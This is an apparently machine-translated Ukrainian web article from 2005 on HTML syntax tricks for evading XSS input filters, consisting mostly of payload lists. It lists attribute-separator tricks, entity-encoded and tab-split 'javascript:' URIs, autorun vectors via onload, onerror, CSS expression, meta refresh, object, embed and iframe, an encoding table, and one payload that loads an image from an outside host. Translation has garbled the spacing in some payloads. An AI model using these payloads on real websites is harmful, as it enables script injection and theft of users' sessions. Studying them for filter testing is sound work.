Особливості синтаксису HTML

Творці: Algol, zFailure - останні зміни 13.06.2005

Один з основних методів охорони сайтів від XSS-вразливостей - це використання різних фільтрів на запроваджувані користувачем символи. У цій замітці описані особливості синтаксису HTML, що дозволяють обходити дані фільтри.

Слід зазначити, що XSS уразливості є браузер-залежними. Всі наведені нижче приклади тестувалися в IE6. В інших версіях або в інших браузерах, приклади можуть теж не працювати. Наприклад символ зворотного апострофа ( `) є обмежувачем атрибутів тільки в IE. Інші браузери, такі як Opera наприклад, ніяк не вважають цей символ огрнічітелем.

  • Роздільники атрибутів тега.
    Крім пробілу, дозволено використовувати символи: слеш (/), табуляцію, переклад рядка. Роздільник дозволено опустити, якщо попередній приналежність укладений в лапки.
     <Image / src = "1.png" / alt = "Підказка" / border = "0">
     <Image src = "1.png" alt = "Підказка" border = "0">
     <image
     src = "1.png"
     alt = "Підказка"
     border = "0">
     <Image src = "1.png" alt = "Підказка" border = "0">
    
  • Обмежувачі атрибутів тега
    Значення дозволено брати в лапки (подвійні також одинарні) також в апострофи, тільки дозволено загальний ніяк не обмежувати.
     <Image src = "" alt = "Моя підказка" border = "0">
     <Image src = "" alt = 'Моя підказка' border = "0">
     <Image src = "" alt = `Моя подсказка` border =" 0 ">
     <Image src = "" alt = Підказка border = "0">
    
  • кодування символів
    Розшифровка символів в скрипті виникає до його виконання:
      <Img src = javascript: alert (& quot; ok & quot;)>
     <Img src = javascript: alert (& # 039; ok & # 039;)>
     <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41>
     <a href=javascript:alert(%22ok%22)> click me </a> (тільки в атрибуті href)
    
    
  • Обмежувачі символьних літералів в скриптах
     <Img src = javascript: alert ( 'ok')>
     <Img src = javascript: alert ( "ok")>
     <Img src = javascript: a = / ok /; alert (a.source)>
     <Img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Обхід фільтрації деяких символів
      <img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> (заміна пробілу на / ** /)
    
    
  • Способи запуску скриптів
    Кілька способів автоматичного запуску скриптів:
      <Script> alert ( 'ok') </ script>
     <Script src = 1.js> </ script>
     <Body onLoad = alert ( 'ok')>
     <Meta http-equiv = Refresh content = 0; url = javascript: alert ( 'ok')>
     <Image src = 1.png onload = alert ( 'ok')>
     <Image src = javascript: alert ( 'ok')>
     <Image src = "" onerror = alert ( 'ok')>
     <Hr style = background: url (javascript: alert ( 'ok'))>
     <Span style = top: expression (alert ( 'ok'))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (спрацьовує тільки один раз) <style type = "text / css"> @import url (javascript: alert ( 'ok')); </ style>
     <Object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ( 'ok')> </ object>
     <Embed src = javascript: alert ( 'ok'); this.avi>
     <Embed src = javascript: alert ( 'ok'); this.wav>
     <iframe src = javascript: alert ( 'ok')> (тільки в IE) <a href=javascript:alert(%22ok%22)> click me </a> (запуск тільки при кліці по посиланню) <a href = javascript: alert ( 'aaa' + eval ( 'alert (); i = 2 + 2') + 'bbb')> click me </a> (запуск тільки при кліці по посиланню) <br SIZE = "& {alert ( 'XSS')} "> (тільки Netscape 4.x)
    
    
  • Різні скріптові протоколи, способи їх написання
      <Img src = javascript: alert ()>
     <Img src = vbscript: AleRt ()>
     <Img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (прогалини аж до слова javascript)
     
     <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <Img src = javascript & # 9: alert ()>
     <Img src = javascript & # 10: alert ()>
     <Img src = javascript & # 13: alert ()>
     <Img src = "javascript
     : alert () "> (перед двокрапкою - табуляція)
     
     <Img src = "java
     scri
     pt: ale
     rt () "> (всередині слова javascript - символ табуляції також повернення каретки)
     
    
  • Вставки скриптів в style
    Оператори скрипта в атрибуті style потрібно ділити "\;".
     <Hr style = `background: url (javascript: alert ( 'ok 1') \; alert ( 'ok 2'))`>
    
  • Спеціальні теги.
      <image src = "1.png" alt = "" border = "0"> (тег img також image працюють однаково) <plaintext> (всі, що стане рухатися пізніше цього тега, стане сприйматися як звичайний текст - не HTML) <textarea> (всі, що стане рухатися пізніше цього тега, стане сприйматися як звичайний текст - не HTML) <xml> (всі, що стане рухатися пізніше цього тега, ніяк не стане відображатися)
    
    
  • Таблиця часто застосовуваних кодів:

    символ десяткова кодування 16-а кодування * символьна кодування URL-кодування
    " & # 34 & # X22; & quot % 22
    ' & # 39 & # X27; % 27
    ` & # 96 & # X60; % 60
    <Пробіл> & # 32 & # X20; +
    <Табуляція> & # 9 & # X09; % 09
    <Повернення каретки> & # 13 & # X0D; % 0D
    = & # 61 & # X3D; % 3D
    < & # 60 & # X3C; & lt % 3C
    > & # 62 & # X3E; & gt % 3E
    \ & # 92 & # X5C; % 5C
    % & # 37 & # X25; % 25
    + & # 43 & # X2B; % 2B
    <Короткий дефіс> & # 173 & # XAD; & shy % AD
    & & # 38 & # X26; & amp % 26

    * -в деяких випадках крапку з комою можна опустити (якщо символ стоїть в кінці рядка, або поспіль йдуть кілька символів в цьому кодуванні).

    Див. Схоже: http://ha.ckers.org/xss.html
  • Сподобалося? Підпишись на RSS новини!
    Ви також можете підтримати shram.kiev.ua, тисніть:

    Не зайвим буде і твоїм друзям дізнатися цю інформацію, поділися з ними статтею!

    Розгорнути / згорнути Розгорнути / згорнути вікно з коментарями

    Коментарі

    Коментуючи, пам'ятайте про те, що зміст і тон Вашого повідомлення можуть зачіпати почуття реальних людей, проявляйте повагу та толерантність до своїх співрозмовників навіть у тому випадку, якщо Ви не поділяєте їхню думку, Ваша поведінка за умов свободи висловлювань та анонімності, наданих інтернетом, змінює не тільки віртуальний, але й реальний світ. Всі коменти приховані з індексу, спам контролюється.
    Кредитка безкоштовно з лімітом в 15000 грн.